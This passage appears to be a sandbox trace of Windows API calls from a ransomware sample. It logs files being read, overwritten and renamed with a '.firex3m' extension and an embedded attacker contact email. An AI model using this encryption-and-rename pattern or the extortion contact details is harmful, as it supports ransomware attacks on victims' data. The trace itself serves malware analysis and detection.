dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.694] Sleep (dwMilliseconds=0x1) [0226.700] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html", len=0x6f | out: pbstr=0x3f7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html") returned 1 [0226.700] GetProcessHeap () returned 0x630000 [0226.700] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5188) returned 0x6fe3bb0 [0226.700] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0226.707] CloseHandle (hObject=0x5ec) returned 1 [0226.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.709] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.228] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0227.266] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0227.266] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.266] GetProcessHeap () returned 0x630000 [0227.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8fc1) returned 0x7302b68 [0227.266] GetProcessHeap () returned 0x630000 [0227.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8fc1) returned 0x7001850 [0227.267] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.267] ReadFile (in: hFile=0x4bc, lpBuffer=0x7302b68, nNumberOfBytesToRead=0x8fa0, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7302b68*, lpNumberOfBytesRead=0x3f7ff0c*=0x8fa0, lpOverlapped=0x0) returned 1 [0232.605] GetProcessHeap () returned 0x630000 [0232.605] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0232.605] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.606] WriteFile (in: hFile=0x4bc, lpBuffer=0x7001850*, nNumberOfBytesToWrite=0x8fa0, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesWritten=0x3f7ff0c*=0x8fa0, lpOverlapped=0x0) returned 1 [0233.433] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.433] WriteFile (in: hFile=0x4bc, lpBuffer=0x700a7ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700a7ef*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.408] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.408] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.409] CloseHandle (hObject=0x4bc) returned 1 [0234.409] GetProcessHeap () returned 0x630000 [0234.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0234.409] GetProcessHeap () returned 0x630000 [0234.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7302b68 | out: hHeap=0x630000) returned 1 [0234.414] GetProcessHeap () returned 0x630000 [0234.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0235.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51ab173c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8fe1, dwReserved0=0xcd87496, dwReserved1=0x7302b60, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0235.587] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.587] Sleep (dwMilliseconds=0x1) [0235.597] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html", len=0x6f | out: pbstr=0x3f7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html") returned 1 [0235.597] GetProcessHeap () returned 0x630000 [0235.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ff8) returned 0x6fe3bb0 [0235.598] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0235.639] CloseHandle (hObject=0x4b8) returned 1 [0235.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.640] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.741] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4e40 [0235.741] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0235.741] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0235.741] GetProcessHeap () returned 0x630000 [0235.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x7393dd0 [0235.742] GetProcessHeap () returned 0x630000 [0235.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x739ce60 [0235.742] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.742] ReadFile (in: hFile=0x4b8, lpBuffer=0x7393dd0, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesRead=0x3f7ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.899] GetProcessHeap () returned 0x630000 [0241.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b928 [0241.899] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.899] WriteFile (in: hFile=0x4b8, lpBuffer=0x739ce60*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739ce60*, lpNumberOfBytesWritten=0x3f7ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.900] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.900] WriteFile (in: hFile=0x4b8, lpBuffer=0x73a5ebf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a5ebf*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.900] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.900] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.900] CloseHandle (hObject=0x4b8) returned 1 [0241.900] GetProcessHeap () returned 0x630000 [0241.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739ce60 | out: hHeap=0x630000) returned 1 [0241.900] GetProcessHeap () returned 0x630000 [0241.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0241.900] GetProcessHeap () returned 0x630000 [0241.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b928 | out: hHeap=0x630000) returned 1 [0243.187] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x562188e7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0xcd87496, dwReserved1=0x7393dc8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0243.187] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0243.187] Sleep (dwMilliseconds=0x1) [0243.191] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Light.png", len=0x72 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Light.png") returned 1 [0243.191] GetProcessHeap () returned 0x630000 [0243.191] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52dc) returned 0x6fe3bb0 [0243.192] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Light.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_light.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.207] Sleep (dwMilliseconds=0x1) [0243.247] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png", len=0x73 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png") returned 1 [0243.247] GetProcessHeap () returned 0x630000 [0243.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x522c) returned 0x6fe3bb0 [0243.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadicon_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.256] Sleep (dwMilliseconds=0x1) [0243.283] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Oval_icon.png", len=0x73 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Oval_icon.png") returned 1 [0243.283] GetProcessHeap () returned 0x630000 [0243.283] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c0) returned 0x6fe3bb0 [0243.283] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Oval_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\oval_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.294] Sleep (dwMilliseconds=0x1) [0243.307] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Chevron.png", len=0x71 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Chevron.png") returned 1 [0243.307] GetProcessHeap () returned 0x630000 [0243.307] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5174) returned 0x6fe3bb0 [0243.307] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Chevron.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\chevron.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.317] Sleep (dwMilliseconds=0x1) [0243.340] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400_contrast-black.png", len=0x7d | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400_contrast-black.png") returned 1 [0243.340] GetProcessHeap () returned 0x630000 [0243.340] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5120) returned 0x6fe3bb0 [0243.340] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-400_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.340] Sleep (dwMilliseconds=0x1) [0243.351] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200_contrast-black.png", len=0x7b | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200_contrast-black.png") returned 1 [0243.351] GetProcessHeap () returned 0x630000 [0243.351] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d8) returned 0x6fe3bb0 [0243.351] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.351] Sleep (dwMilliseconds=0x1) [0243.365] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400.png", len=0x72 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400.png") returned 1 [0243.365] GetProcessHeap () returned 0x630000 [0243.365] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a4) returned 0x6fe3bb0 [0243.366] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-400.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.366] Sleep (dwMilliseconds=0x1) [0243.398] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125.png", len=0x6e | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125.png") returned 1 [0243.398] GetProcessHeap () returned 0x630000 [0243.398] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5044) returned 0x6fe3bb0 [0243.398] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-125.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.398] Sleep (dwMilliseconds=0x1) [0243.413] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_contrast-black.png", len=0x7f | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_contrast-black.png") returned 1 [0243.413] GetProcessHeap () returned 0x630000 [0243.413] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5010) returned 0x6fe3bb0 [0243.413] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-72_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.413] Sleep (dwMilliseconds=0x1) [0243.429] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_altform-unplated.png", len=0x81 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_altform-unplated.png") returned 1 [0243.429] GetProcessHeap () returned 0x630000 [0243.429] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fcc) returned 0x6fe3bb0 [0243.429] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-40_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.429] Sleep (dwMilliseconds=0x1) [0243.445] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30.png", len=0x70 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30.png") returned 1 